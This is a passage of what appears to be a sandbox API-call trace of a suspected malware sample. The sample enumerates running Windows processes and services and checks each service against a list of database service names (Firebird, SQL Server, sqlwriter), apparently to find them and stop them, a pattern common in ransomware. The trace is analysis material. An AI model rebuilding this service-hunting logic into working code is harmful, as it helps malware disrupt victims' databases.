th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0273.562] lstrlenW (lpString="explorer.exe") returned 12 [0273.562] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0273.563] lstrlenW (lpString="dwm.exe") returned 7 [0273.563] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.564] lstrlenW (lpString="svchost.exe") returned 11 [0273.564] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0273.565] lstrlenW (lpString="winhost.exe") returned 11 [0273.565] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0273.566] lstrlenW (lpString="spoolsv.exe") returned 11 [0273.566] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.567] lstrlenW (lpString="svchost.exe") returned 11 [0273.567] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0273.568] lstrlenW (lpString="taskhost.exe") returned 12 [0273.569] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0273.569] lstrlenW (lpString="reader_sl.exe") returned 13 [0273.570] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0273.571] lstrlenW (lpString="taskhost.exe") returned 12 [0273.571] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0273.572] lstrlenW (lpString="dllhost.exe") returned 11 [0273.572] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x368, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0273.573] lstrlenW (lpString="consent.exe") returned 11 [0273.573] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x368, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0273.574] CloseHandle (hObject=0x3b4) returned 1 [0273.574] Sleep (dwMilliseconds=0x1f4) [0274.219] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e388 [0274.220] EnumServicesStatusExW (in: hSCManager=0x62e388, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0274.221] GetLastError () returned 0xea [0274.221] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x11e4) returned 0x42e5000 [0274.221] EnumServicesStatusExW (in: hSCManager=0x62e388, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42e5000, cbBufSize=0x11e4, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42e5000, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0274.222] CloseServiceHandle (hSCObject=0x62e388) returned 1 [0274.223] lstrlenW (lpString="Appinfo") returned 7 [0274.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0274.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0274.223] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0274.223] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0274.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0274.223] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0274.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0274.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0274.224] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0274.224] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0274.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0274.224] lstrlenW (lpString="AudioSrv") returned 8 [0274.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0274.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0274.224] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0274.224] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0274.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0274.224] lstrlenW (lpString="BFE") returned 3 [0274.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0274.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0274.225] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0274.225] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0274.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0274.225] lstrlenW (lpString="CryptSvc") returned 8 [0274.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0274.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0274.225] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0274.225] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0274.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0274.225] lstrlenW (lpString="CscService") returned 10 [0274.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0274.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0274.226] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0274.226] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0274.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0274.226] lstrlenW (lpString="DcomLaunch") returned 10 [0274.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0274.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0274.227] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0274.227] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0274.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0274.227] lstrlenW (lpString="Dhcp") returned 4 [0274.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0274.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0274.227] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0274.227] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0274.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0274.227] lstrlenW (lpString="Dnscache") returned 8 [0274.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0274.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0274.228] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0274.228] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0274.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0274.228] lstrlenW (lpString="DPS") returned 3 [0274.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0274.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0274.228] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0274.228] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0274.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0274.228] lstrlenW (lpString="eventlog") returned 8 [0274.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0274.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0274.229] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0274.229] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0274.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0274.229] lstrlenW (lpString="EventSystem") returned 11 [0274.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0274.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0274.229] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0274.229] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0274.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0274.229] lstrlenW (lpString="gpsvc") returned 5 [0274.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0274.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0274.230] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0274.230] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0274.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0274.230] lstrlenW (lpString="iphlpsvc") returned 8 [0274.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0274.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0274.230] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0274.230] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0274.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0274.230] lstrlenW (lpString="LanmanServer") returned 12 [0274.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0274.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0274.231] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0274.231] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0274.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0274.231] lstrlenW (lpString="LanmanWorkstation") returned 17 [0274.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0274.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0274.231] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0274.231] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0274.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0274.231] lstrlenW (lpString="lmhosts") returned 7 [0274.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0274.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0274.232] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0274.232] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0274.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0274.232] lstrlenW (lpString="MMCSS") returned 5 [0274.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0274.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0274.232] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0274.232] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0274.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0274.232] lstrlenW (lpString="MpsSvc") returned 6 [0274.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0274.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0274.233] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0274.233] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0274.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0274.233] lstrlenW (lpString="Netman") returned 6 [0274.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0274.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0274.233] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0274.233] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0274.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0274.233] lstrlenW (lpString="netprofm") returned 8 [0274.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0274.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0274.234] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0274.234] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0274.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0274.234] lstrlenW (lpString="NlaSvc") returned 6 [0274.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0274.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0274.234] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0274.234] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0274.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0274.234] lstrlenW (lpString="nsi") returned 3 [0274.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0274.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0274.235] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0274.235] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0274.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0274.235] lstrlenW (lpString="PcaSvc") returned 6 [0274.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0274.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0274.235] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0274.235] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0274.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0274.235] lstrlenW (lpString="PlugPlay") returned 8 [0274.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0274.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0274.236] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0274.236] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0274.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0274.236] lstrlenW (lpString="Power") returned 5 [0274.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0274.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0274.236] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0274.236] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0274.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0274.236] lstrlenW (lpString="ProfSvc") returned 7 [0274.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0274.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0274.236] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0274.237] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0274.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0274.237] lstrlenW (lpString="RpcEptMapper") returned 12 [0274.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0274.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0274.237] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0274.237] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0274.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0274.237] lstrlenW (lpString="RpcSs") returned 5 [0274.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0274.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0274.237] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0274.238] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0274.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0274.238] lstrlenW (lpString="SamSs") returned 5 [0274.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0274.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0274.238] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0274.238] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0274.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0274.238] lstrlenW (lpString="Schedule") returned 8 [0274.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0274.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0274.238] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0274.238] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0274.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0274.239] lstrlenW (lpString="SENS") returned 4 [0274.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0274.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0274.239] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0274.239] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0274.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0274.239] lstrlenW (lpString="ShellHWDetection") returned 16 [0274.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0274.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0274.239] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0274.239] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0274.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0274.239] lstrlenW (lpString="Spooler") returned 7 [0274.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0274.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0274.240] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0274.240] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0274.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0274.240] lstrlenW (lpString="SysMain") returned 7 [0274.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0274.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0274.240] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0274.240] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0274.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0274.240] lstrlenW (lpString="Themes") returned 6 [0274.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0274.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0274.241] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0274.241] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0274.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0274.241] lstrlenW (lpString="TrkWks") returned 6 [0274.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0274.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0274.241] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0274.241] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0274.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0274.241] lstrlenW (lpString="UxSms") returned 5 [0274.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0274.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0274.242] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0274.242] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0274.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0274.243] lstrlenW (lpString="WdiServiceHost") returned 14 [0274.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0274.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0274.243] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0274.243] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0274.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0274.243] lstrlenW (lpString="WdiSystemHost") returned 13 [0274.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0274.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0274.243] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0274.243] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0274.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0274.244] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0274.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0274.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0274.244] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0274.244] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0274.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0274.244] lstrlenW (lpString="Winmgmt") returned 7 [0274.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0274.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0274.244] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0274.244] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0274.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0274.244] lstrlenW (lpString="WPDBusEnum") returned 10 [0274.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0274.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0274.245] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0274.245] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0274.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0274.245] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42e5000 | out: hHeap=0x590000) returned 1 [0274.245] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x258 [0274.251] Process32FirstW (in: hSnapshot=0x258, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0274.252] Process32NextW (in: hSnapshot=0x258, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 